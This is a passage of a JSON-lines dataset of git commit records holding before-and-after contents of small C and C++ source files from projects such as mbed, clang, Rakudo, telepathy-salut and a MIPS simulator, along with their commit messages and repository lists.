<69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"d3f6edf4589da29a8694b00e797910e2e3f886f5","old_file":"tools\/checkscp.c","new_file":"tools\/checkscp.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n\n#include \"scp.h\"\n\nunsigned char scp_processheader(FILE *scpfile)\n{\n  return 0;\n}\n\nvoid scp_processtrack(FILE *scpfile, const unsigned char track)\n{\n}\n\nint main(int argc, char **argv)\n{\n  unsigned char numtracks;\n  unsigned char track;\n  FILE *fp;\n\n  if (argc!=2)\n  {\n    printf(\"Specify .scp on command line\\n\");\n    return 1;\n  }\n\n  fp=fopen(argv[1], \"rb\");\n  if (fp==NULL)\n  {\n    printf(\"Unable to open file\\n\");\n    return 2;\n  }\n\n  numtracks=scp_processheader(fp);\n\n  for (track=0; track<numtracks; track++)\n    scp_processtrack(fp, track);\n\n  fclose(fp);\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"scp.h\"\n\nstruct scp_header header;\n\nunsigned char scp_processheader(FILE *scpfile)\n{\n  fread(&header, 1, sizeof(header), scpfile);\n\n  if (strncmp((char *)&header.magic, SCP_MAGIC, strlen(SCP_MAGIC))!=0)\n  {\n    printf(\"Not an SCP file\\n\");\n    return 0;\n  }\n\n  printf(\"SCP magic detected\\n\");\n\n  printf(\"Version: %d.%d\\n\", header.version>>4, header.version&0x0f);\n  printf(\"Disk type: %d %d\\n\", header.disktype>>4, header.disktype&0x0f);\n  printf(\"Revolutions: %d\\n\", header.revolutions);\n  printf(\"Tracks: %d to %d\\n\", header.starttrack, header.endtrack);\n  printf(\"Flags: 0x%.2x\\n\", header.flags);\n  printf(\"Bitcell encoding: %d bits\\n\", header.bitcellencoding==0?16:header.bitcellencoding);\n  printf(\"Heads: %d\\n\", header.heads);\n  printf(\"Resolution: %dns\\n\", (header.resolution+1)*SCP_BASE_NS);\n  printf(\"Checksum: 0x%.8x\\n\", header.checksum);\n\n  printf(\"Tracks in SCP: %d\\n\", header.endtrack-header.starttrack);\n\n  return 0;\n}\n\nvoid scp_processtrack(FILE *scpfile, const unsigned char track)\n{\n}\n\nint main(int argc, char **argv)\n{\n  unsigned char numtracks;\n  unsigned char track;\n  FILE *fp;\n\n  if (argc!=2)\n  {\n    printf(\"Specify .scp on command line\\n\");\n    return 1;\n  }\n\n  fp=fopen(argv[1], \"rb\");\n  if (fp==NULL)\n  {\n    printf(\"Unable to open file\\n\");\n    return 2;\n  }\n\n  numtracks=scp_processheader(fp);\n\n  for (track=0; track<numtracks; track++)\n    scp_processtrack(fp, track);\n\n  fclose(fp);\n\n  return 0;\n}\n","subject":"Check magic and output header fields","message":"Check magic and output header fields\n","lang":"C","license":"mit","repos":"picosonic\/bbc-fdc,picosonic\/bbc-fdc"}
{"commit":"a1199a9863cc34c78bc0e63e3ea0c9420abeacb1","old_file":"MFSideMenu\/MFSideMenuShadow.h","new_file":"MFSideMenu\/MFSideMenuShadow.h","old_contents":"\/\/\n\/\/  MFSideMenuShadow.h\n\/\/  MFSideMenuDemoSearchBar\n\/\/\n\/\/  Created by Michael Frederick on 5\/13\/13.\n\/\/  Copyright (c) 2013 Frederick Development. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface MFSideMenuShadow : NSObject\n\n@property (nonatomic, assign) BOOL enabled;\n@property (nonatomic, assign) CGFloat radius;\n@property (nonatomic, assign) CGFloat opacity;\n@property (nonatomic, strong) UIColor *color;\n@property (nonatomic, assign) UIView *shadowedView;\n\n+ (MFSideMenuShadow *)shadowWithView:(UIView *)shadowedView;\n+ (MFSideMenuShadow *)shadowWithColor:(UIColor *)color radius:(CGFloat)radius opacity:(CGFloat)opacity;\n\n- (void)draw;\n- (void)shadowedViewWillRotate;\n- (void)shadowedViewDidRotate;\n\n@end\n","new_contents":"\/\/\n\/\/  MFSideMenuShadow.h\n\/\/  MFSideMenuDemoSearchBar\n\/\/\n\/\/  Created by Michael Frederick on 5\/13\/13.\n\/\/  Copyright (c) 2013 Frederick Development. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\n@interface MFSideMenuShadow : NSObject\n\n@property (nonatomic, assign) BOOL enabled;\n@property (nonatomic, assign) CGFloat radius;\n@property (nonatomic, assign) CGFloat opacity;\n@property (nonatomic, strong) UIColor *color;\n@property (nonatomic, assign) UIView *shadowedView;\n\n+ (MFSideMenuShadow *)shadowWithView:(UIView *)shadowedView;\n+ (MFSideMenuShadow *)shadowWithColor:(UIColor *)color radius:(CGFloat)radius opacity:(CGFloat)opacity;\n\n- (void)draw;\n- (void)shadowedViewWillRotate;\n- (void)shadowedViewDidRotate;\n\n@end\n","subject":"Include UIKit to h file, because change pch to h for two files in main project and refactor all needed includes.","message":"Include UIKit to h file, because change pch to h for two files in main project and refactor all needed includes.\n","lang":"C","license":"bsd-3-clause","repos":"AxialExchange\/MFSideMenu"}
{"commit":"842e55bd409151abc805b2e0595346821c3f6c83","old_file":"as6502\/common.h","new_file":"as6502\/common.h","old_contents":"\/\/\n\/\/  common.h\n\/\/  v6502\n\/\/\n\/\/  Created by Daniel Loffgren on H.25\/05\/05.\n\/\/  Copyright (c) 平成25年 Hello-Channel, LLC. All rights reserved.\n\/\/\n\n#ifndef v6502_common_h\n#define v6502_common_h\n\nvoid die(const char *reason);\n\n#endif\n","new_contents":"\/\/\n\/\/  common.h\n\/\/  v6502\n\/\/\n\/\/  Created by Daniel Loffgren on H.25\/05\/05.\n\/\/  Copyright (c) 平成25年 Hello-Channel, LLC. All rights reserved.\n\/\/\n\n#ifndef v6502_common_h\n#define v6502_common_h\n\n__attribute((noreturn)) void die(const char *reason);\n\n#endif\n","subject":"Make sure static analyzer can see die's noreturn attribute","message":"Make sure static analyzer can see die's noreturn attribute\n\ngit-svn-id: dd14d189f2554b0b3f4c2209a95c13d2029e3fe8@183 96dfbd92-d197-e211-9ca9-00110a534b34\n","lang":"C","license":"mit","repos":"RyuKojiro\/v6502"}
{"commit":"512dd8c387681b748f43660144d64895f593973f","old_file":"features\/FEATURE_BLE\/ble\/BLETypes.h","new_file":"features\/FEATURE_BLE\/ble\/BLETypes.h","old_contents":"","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2017-2017 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef BLE_TYPES_H_\n#define BLE_TYPES_H_\n\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace ble {\n\n\/**\n * A connection handle is an unsigned integer capable of holding a pointer.\n * The real type (either a pointer to an object or an integer) is opaque and\n * platform dependent.\n *\/\ntypedef uintptr_t connection_handle_t;\n\n\/**\n * Model an attribute handle in a GATT database.\n *\/\ntypedef uint16_t attribute_handle_t;\n\n\n \/**\n  * Model an inclusive range of GATT attributes handles.\n  *\/\nstruct attribute_handle_range_t {\n    attribute_handle_t begin;\n    attribute_handle_t end;\n\n    friend bool operator==(\n        const attribute_handle_range_t& lhs, const attribute_handle_range_t& rhs\n    ) {\n        return (lhs.begin == rhs.begin) && (lhs.end == rhs.end);\n    }\n\n    friend bool operator!=(\n        const attribute_handle_range_t& lhs, const attribute_handle_range_t& rhs\n    ) {\n        return !(lhs == rhs);\n    }\n};\n\n\n\/**\n * Construct an attribute_handle_range_t from its start and end handle.\n * @note This function is defined instead of a constructor to keep \"POD-ness\"\n * of attribute_handle_range_t.\n *\/\nstatic inline attribute_handle_range_t attribute_handle_range(\n    attribute_handle_t begin,\n    attribute_handle_t end\n) {\n    attribute_handle_range_t result = {\n        begin,\n        end\n    };\n    return result;\n}\n\n} \/\/ namespace ble\n\n#endif \/* BLE_TYPES_H_ *\/\n","subject":"Add collection of basic BLE types shared accross all layers.","message":"BLE: Add collection of basic BLE types shared accross all layers.\n","lang":"C","license":"apache-2.0","repos":"HeadsUpDisplayInc\/mbed,infinnovation\/mbed-os,karsev\/mbed-os,nRFMesh\/mbed-os,ryankurte\/mbed-os,kjbracey-arm\/mbed,kjbracey-arm\/mbed,c1728p9\/mbed-os,HeadsUpDisplayInc\/mbed,catiedev\/mbed-os,Archcady\/mbed-os,infinnovation\/mbed-os,mazimkhan\/mbed-os,andcor02\/mbed-os,mazimkhan\/mbed-os,Archcady\/mbed-os,kjbracey-arm\/mbed,catiedev\/mbed-os,Archcady\/mbed-os,CalSol\/mbed,karsev\/mbed-os,nRFMesh\/mbed-os,CalSol\/mbed,infinnovation\/mbed-os,HeadsUpDisplayInc\/mbed,c1728p9\/mbed-os,ryankurte\/mbed-os,mazimkhan\/mbed-os,andcor02\/mbed-os,HeadsUpDisplayInc\/mbed,betzw\/mbed-os,mbedmicro\/mbed,nRFMesh\/mbed-os,betzw\/mbed-os,karsev\/mbed-os,Archcady\/mbed-os,mazimkhan\/mbed-os,CalSol\/mbed,mbedmicro\/mbed,betzw\/mbed-os,karsev\/mbed-os,andcor02\/mbed-os,mazimkhan\/mbed-os,CalSol\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,infinnovation\/mbed-os,infinnovation\/mbed-os,nRFMesh\/mbed-os,nRFMesh\/mbed-os,karsev\/mbed-os,c1728p9\/mbed-os,catiedev\/mbed-os,ryankurte\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,catiedev\/mbed-os,catiedev\/mbed-os,mazimkhan\/mbed-os,infinnovation\/mbed-os,mbedmicro\/mbed,kjbracey-arm\/mbed,ryankurte\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,HeadsUpDisplayInc\/mbed,c1728p9\/mbed-os,karsev\/mbed-os,Archcady\/mbed-os,nRFMesh\/mbed-os,catiedev\/mbed-os,betzw\/mbed-os,betzw\/mbed-os,HeadsUpDisplayInc\/mbed,ryankurte\/mbed-os,ryankurte\/mbed-os,CalSol\/mbed,mbedmicro\/mbed,CalSol\/mbed"}
{"commit":"541b99466e6b0bce16a105cef2fbfb44e7932e2a","old_file":"test\/Sema\/neon-vector-types.c","new_file":"test\/Sema\/neon-vector-types.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 %s -fsyntax-only -verify\n\ntypedef float float32_t;\ntypedef signed char poly8_t;\ntypedef short poly16_t;\ntypedef unsigned long long uint64_t;\n\n\/\/ Define some valid Neon types.\ntypedef __attribute__((neon_vector_type(2))) int int32x2_t;\ntypedef __attribute__((neon_vector_type(4))) int int32x4_t;\ntypedef __attribute__((neon_vector_type(1))) uint64_t uint64x1_t;\ntypedef __attribute__((neon_vector_type(2))) uint64_t uint64x2_t;\ntypedef __attribute__((neon_vector_type(2))) float32_t float32x2_t;\ntypedef __attribute__((neon_vector_type(4))) float32_t float32x4_t;\ntypedef __attribute__((neon_polyvector_type(16))) poly8_t  poly8x16_t;\ntypedef __attribute__((neon_polyvector_type(8)))  poly16_t poly16x8_t;\n\n\/\/ The attributes must have a single argument.\ntypedef __attribute__((neon_vector_type(2, 4))) int only_one_arg; \/\/ expected-error{{attribute requires 1 argument(s)}}\n\n\/\/ The number of elements must be an ICE.\ntypedef __attribute__((neon_vector_type(2.0))) int non_int_width; \/\/ expected-error{{attribute requires integer constant}}\n\n\/\/ Only certain element types are allowed.\ntypedef __attribute__((neon_vector_type(2))) double double_elt; \/\/ expected-error{{invalid vector element type}}\ntypedef __attribute__((neon_vector_type(4))) void* ptr_elt; \/\/ expected-error{{invalid vector element type}}\ntypedef __attribute__((neon_polyvector_type(4))) float32_t bad_poly_elt; \/\/ expected-error{{invalid vector element type}}\nstruct aggr { signed char c; };\ntypedef __attribute__((neon_vector_type(8))) struct aggr aggregate_elt; \/\/ expected-error{{invalid vector element type}}\n\n\/\/ The total vector size must be 64 or 128 bits.\ntypedef __attribute__((neon_vector_type(1))) int int32x1_t; \/\/ expected-error{{Neon vector size must be 64 or 128 bits}}\ntypedef __attribute__((neon_vector_type(3))) int int32x3_t; \/\/ expected-error{{Neon vector size must be 64 or 128 bits}}\n","subject":"Add tests for new Neon vector type attributes.","message":"Add tests for new Neon vector type attributes.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@119303 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"a1893ca13b9fc87ebde6472240436a15645704c0","old_file":"include\/nekit\/utils\/error.h","new_file":"include\/nekit\/utils\/error.h","old_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <system_error>\n\nnamespace nekit {\nnamespace utils {\n\ntypedef std::error_code Error;\n\n}  \/\/ namespace utils\n}  \/\/ namespace nekit\n","new_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <system_error>\n\nnamespace nekit {\nnamespace utils {\n\nusing Error = std::error_code;\n\n}  \/\/ namespace utils\n}  \/\/ namespace nekit\n","subject":"Use `using` instead of `typedef`","message":"STYLE: Use `using` instead of `typedef`\n","lang":"C","license":"mit","repos":"zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit"}
{"commit":"1a8eebb5f92e2b2545612ab8d2c5132719c55c96","old_file":"simulator\/kernel\/kernel.h","new_file":"simulator\/kernel\/kernel.h","old_contents":"\/*\n * kernel.h - base kernel class\n * @author Vyacheslav Kompan kompan.vo@phystech.edu\n * Copyright 2018 MIPT-MIPS\n *\/\n\n#ifndef KERNEL_H\n#define KERNEL_H\n\n\/* Simulator modules *\/\n#include <memory\/memory.h>\n#include <simulator.h>\n\/* Generic C++ *\/\n#include <memory>\n\nclass Kernel {\n    std::weak_ptr<Simulator> sim;\n    std::shared_ptr<FuncMemory> mem;\npublic:\n    static std::shared_ptr<Kernel> create_kernel() {\n        return std::make_shared<Kernel>();\n    }\n\n    void set_simulator( std::shared_ptr<Simulator> sim) { this->sim = sim; }\n    void set_memory( std::shared_ptr<FuncMemory> mem) { this->mem = std::move( mem); }\n    \/* Return false if simulator should be stopped, e.g. on 'exit' syscall *\/\n    virtual bool execute() { return true; }\n\n    Kernel() = default;\n    Kernel( const Kernel&) = delete;\n    Kernel( Kernel&&) = delete;\n    Kernel operator=( const Kernel&) = delete;\n    Kernel operator=( Kernel&&) = delete;\n};\n\n#endif \/\/KERNEL_H\n","new_contents":"\/*\n * kernel.h - base kernel class\n * @author Vyacheslav Kompan kompan.vo@phystech.edu\n * Copyright 2018 MIPT-MIPS\n *\/\n\n#ifndef KERNEL_H\n#define KERNEL_H\n\n\/* Simulator modules *\/\n#include <memory\/memory.h>\n#include <simulator.h>\n\/* Generic C++ *\/\n#include <memory>\n\nclass Kernel {\n    std::weak_ptr<Simulator> sim;\n    std::shared_ptr<FuncMemory> mem;\npublic:\n    static std::shared_ptr<Kernel> create_kernel() {\n        return std::make_shared<Kernel>();\n    }\n\n    void set_simulator( std::shared_ptr<Simulator> s) { sim = s; }\n    void set_memory( std::shared_ptr<FuncMemory> m) { mem = std::move( m); }\n    \/* Return false if simulator should be stopped, e.g. on 'exit' syscall *\/\n    virtual bool execute() { return true; }\n\n    Kernel() = default;\n    Kernel( const Kernel&) = delete;\n    Kernel( Kernel&&) = delete;\n    Kernel operator=( const Kernel&) = delete;\n    Kernel operator=( Kernel&&) = delete;\n};\n\n#endif \/\/KERNEL_H\n","subject":"Rename Kernel setter methods arguments","message":"Rename Kernel setter methods arguments\n","lang":"C","license":"mit","repos":"MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015"}
{"commit":"82d35af306f00b277c29502adc76f44e27d06dc6","old_file":"src\/binder\/multidispatch.h","new_file":"src\/binder\/multidispatch.h","old_contents":"","new_contents":"\/* This is how a Code looks on the inside. Once again, C struct that should\n * match what P6opaque computes for the Code class. *\/\ntypedef struct {\n    PMC    *st;                 \/* S-table, though we don't care about that here. *\/\n    PMC    *sc;                 \/* Serialization context, though we don't care about that here. *\/\n    PMC    *spill;              \/* Attribute spill storage. *\/\n    PMC    *_do;                \/* Lower-level code object. *\/\n    PMC    *signature;          \/* Signature object. *\/\n    PMC    *dispatchees;        \/* List of dispatchees, if any. *\/\n    PMC    *dispatcher_info;    \/* Holder for any extra dispatcher info. *\/\n} Rakudo_Code;\n\n\/* Represents a candidate. We extract various bits of information about it when\n * we are building the sorted candidate list and store them in here for fast\n * access during a dispatch. *\/\ntypedef struct {\n    PMC   *sub;         \/* The sub that is the candidate. *\/\n    PMC   *signature;   \/* The signature of the sub. *\/\n    PMC  **types;       \/* Class or role type constraints for each parameter. *\/\n    PMC  **constraints; \/* Refinement type constraints for each parameter. *\/\n    INTVAL num_types;   \/* Number of entries in the above two arrays. *\/\n    INTVAL min_arity;   \/* Number of required positional arguments. *\/\n    INTVAL max_arity;   \/* Number of required and optional positional arguments. *\/\n    INTVAL bind_check;  \/* A true value if any parameters have constraints and\/or are named. *\/\n    STRING *req_named;  \/* Name of one required named argument, if any. This is to allow us\n                         * to quickly rule out candidates disambiguated by a required named\n                         * argument, as is the common case for traits. *\/\n} Rakudo_md_candidate_info;\n\n\/* Overall multi-dispatcher info, which we will hang off the dispatcher\n * info slot in a dispatcher sub. *\/\ntypedef struct {\n    Rakudo_md_candidate_info **candidates;\n    \/* XXX TODO: Cache goes here also. *\/\n} Rakudo_md_info;\n\n\/* Represents the produced information about a candidate as well as the graph\n * edges originating from it. The edges array contains pointers to the edges\n * in the graph that we have arrows to. *\/\ntypedef struct candidate_graph_node {\n    Rakudo_md_candidate_info     *info;\n    struct candidate_graph_node **edges;\n    INTVAL                        edges_in;\n    INTVAL                        edges_out;\n} Rakudo_md_candidate_graph_node;\n","subject":"Move various multi-dispatch data structures into a header file, plus way that we'll be able to get at the dispatcher list, dispatcher info stash and so forth.","message":"Move various multi-dispatch data structures into a header file, plus way that we'll be able to get at the dispatcher list, dispatcher info stash and so forth.\n","lang":"C","license":"artistic-2.0","repos":"rakudo\/rakudo,labster\/rakudo,awwaiid\/rakudo,niner\/rakudo,rakudo\/rakudo,softmoth\/rakudo,dwarring\/rakudo,jonathanstowe\/rakudo,ungrim97\/rakudo,Gnouc\/rakudo,LLFourn\/rakudo,azawawi\/rakudo,ab5tract\/rakudo,b2gills\/rakudo,pmurias\/rakudo,tbrowder\/rakudo,b2gills\/rakudo,retupmoca\/rakudo,rakudo\/rakudo,ungrim97\/rakudo,samcv\/rakudo,ungrim97\/rakudo,salortiz\/rakudo,LLFourn\/rakudo,pmurias\/rakudo,zhuomingliang\/rakudo,laben\/rakudo,skids\/rakudo,ugexe\/rakudo,MasterDuke17\/rakudo,sergot\/rakudo,jonathanstowe\/rakudo,LLFourn\/rakudo,sjn\/rakudo,samcv\/rakudo,ab5tract\/rakudo,sjn\/rakudo,paultcochrane\/rakudo,nbrown\/rakudo,Gnouc\/rakudo,sergot\/rakudo,cygx\/rakudo,jonathanstowe\/rakudo,MasterDuke17\/rakudo,azawawi\/rakudo,skids\/rakudo,tony-o\/rakudo,salortiz\/rakudo,tony-o\/deb-rakudodaily,teodozjan\/rakudo,Gnouc\/rakudo,awwaiid\/rakudo,retupmoca\/rakudo,zostay\/rakudo,ab5tract\/rakudo,zhuomingliang\/rakudo,cognominal\/rakudo,LLFourn\/rakudo,zostay\/rakudo,tony-o\/rakudo,dankogai\/rakudo,lucasbuchala\/rakudo,salortiz\/rakudo,samcv\/rakudo,cognominal\/rakudo,ab5tract\/rakudo,nunorc\/rakudo,tbrowder\/rakudo,paultcochrane\/rakudo,jonathanstowe\/rakudo,nbrown\/rakudo,sjn\/rakudo,usev6\/rakudo,raydiak\/rakudo,samcv\/rakudo,paultcochrane\/rakudo,rakudo\/rakudo,teodozjan\/rakudo,awwaiid\/rakudo,nbrown\/rakudo,Leont\/rakudo,niner\/rakudo,tony-o\/rakudo,salortiz\/rakudo,ungrim97\/rakudo,tbrowder\/rakudo,skids\/rakudo,cognominal\/rakudo,lucasbuchala\/rakudo,rakudo\/rakudo,tbrowder\/rakudo,azawawi\/rakudo,tony-o\/rakudo,dwarring\/rakudo,usev6\/rakudo,raydiak\/rakudo,usev6\/rakudo,dankogai\/rakudo,Leont\/rakudo,rjbs\/rakudo,raydiak\/rakudo,dankogai\/rakudo,lucasbuchala\/rakudo,Gnouc\/rakudo,teodozjan\/rakudo,tony-o\/rakudo,cognominal\/rakudo,rjbs\/rakudo,tony-o\/rakudo,salortiz\/rakudo,zhuomingliang\/rakudo,softmoth\/rakudo,laben\/rakudo,b2gills\/rakudo,lucasbuchala\/rakudo,rjbs\/rakudo,LLFourn\/rakudo,tbrowder\/rakudo,jonathanstowe\/rakudo,laben\/rakudo,awwaiid\/rakudo,softmoth\/rakudo,sjn\/rakudo,Leont\/rakudo,tony-o\/deb-rakudodaily,tony-o\/deb-rakudodaily,nbrown\/rakudo,labster\/rakudo,ugexe\/rakudo,tony-o\/deb-rakudodaily,softmoth\/rakudo,skids\/rakudo,b2gills\/rakudo,dankogai\/rakudo,pmurias\/rakudo,azawawi\/rakudo,niner\/rakudo,labster\/rakudo,nunorc\/rakudo,MasterDuke17\/rakudo,tony-o\/deb-rakudodaily,paultcochrane\/rakudo,labster\/rakudo,Gnouc\/rakudo,raydiak\/rakudo,nbrown\/rakudo,labster\/rakudo,dankogai\/rakudo,nunorc\/rakudo,samcv\/rakudo,ungrim97\/rakudo,ugexe\/rakudo,lucasbuchala\/rakudo,laben\/rakudo,tony-o\/deb-rakudodaily,sergot\/rakudo,rakudo\/rakudo,tbrowder\/rakudo,cognominal\/rakudo,ugexe\/rakudo,softmoth\/rakudo,usev6\/rakudo,dwarring\/rakudo,MasterDuke17\/rakudo,MasterDuke17\/rakudo,sjn\/rakudo,cygx\/rakudo,usev6\/rakudo,ab5tract\/rakudo,labster\/rakudo,retupmoca\/rakudo,skids\/rakudo,azawawi\/rakudo,pmurias\/rakudo,retupmoca\/rakudo,paultcochrane\/rakudo,zhuomingliang\/rakudo,zostay\/rakudo,cygx\/rakudo,nunorc\/rakudo,Leont\/rakudo,nbrown\/rakudo,Gnouc\/rakudo,teodozjan\/rakudo,sergot\/rakudo,ugexe\/rakudo,tony-o\/deb-rakudodaily,zostay\/rakudo,MasterDuke17\/rakudo,niner\/rakudo,dwarring\/rakudo,awwaiid\/rakudo,salortiz\/rakudo,b2gills\/rakudo,cygx\/rakudo,cygx\/rakudo"}
{"commit":"688499b9a6d027ad71dbc4718f9c3b8a48dba776","old_file":"src\/salut.c","new_file":"src\/salut.c","old_contents":"#include \"config.h\"\n\n#include <glib.h>\n\n#include <telepathy-glib\/run.h>\n#include <telepathy-glib\/debug.h>\n\n#include \"salut-connection-manager.h\"\n#include \"salut-avahi-discovery-client.h\"\n#include \"debug.h\"\n\nstatic TpBaseConnectionManager *\nsalut_create_connection_manager (void)\n{\n  return TP_BASE_CONNECTION_MANAGER (\n      g_object_new (SALUT_TYPE_CONNECTION_MANAGER,\n                    \"backend-type\", SALUT_TYPE_AVAHI_DISCOVERY_CLIENT,\n                    NULL));\n}\n\nint\nmain (int argc, char **argv)\n{\n  g_type_init ();\n  g_thread_init (NULL);\n  g_set_prgname (\"telepathy-salut\");\n\n#ifdef ENABLE_DEBUG\n  tp_debug_divert_messages (g_getenv (\"SALUT_LOGFILE\"));\n  debug_set_flags_from_env ();\n\n  if (g_getenv (\"SALUT_PERSIST\"))\n    tp_debug_set_persistent (TRUE);\n#endif\n\n  return tp_run_connection_manager (\"telepathy-salut\", VERSION,\n                                    salut_create_connection_manager,\n                                    argc, argv);\n}\n\n\n","new_contents":"#include \"config.h\"\n\n#include <glib.h>\n\n#include <telepathy-glib\/run.h>\n#include <telepathy-glib\/debug.h>\n\n#include \"salut-connection-manager.h\"\n#include \"salut-avahi-discovery-client.h\"\n#include \"debug.h\"\n\nstatic TpBaseConnectionManager *\nsalut_create_connection_manager (void)\n{\n  return TP_BASE_CONNECTION_MANAGER (\n      g_object_new (SALUT_TYPE_CONNECTION_MANAGER,\n                    \"backend-type\", SALUT_TYPE_AVAHI_DISCOVERY_CLIENT,\n                    NULL));\n}\n\nint\nmain (int argc, char **argv)\n{\n  g_type_init ();\n  g_thread_init (NULL);\n\n#ifdef ENABLE_DEBUG\n  tp_debug_divert_messages (g_getenv (\"SALUT_LOGFILE\"));\n  debug_set_flags_from_env ();\n\n  if (g_getenv (\"SALUT_PERSIST\"))\n    tp_debug_set_persistent (TRUE);\n#endif\n\n  return tp_run_connection_manager (\"telepathy-salut\", VERSION,\n                                    salut_create_connection_manager,\n                                    argc, argv);\n}\n\n\n","subject":"Remove use of g_set_prgname in main().","message":"Remove use of g_set_prgname in main().\n\ntp_run_connection_manager calls g_set_prgname internally. It's\nsupposed to only be called once. Calling it in addition to\ntp_run_connection_manager causes an assertion. This patch removes\nuse of it in main().\n","lang":"C","license":"lgpl-2.1","repos":"freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut"}
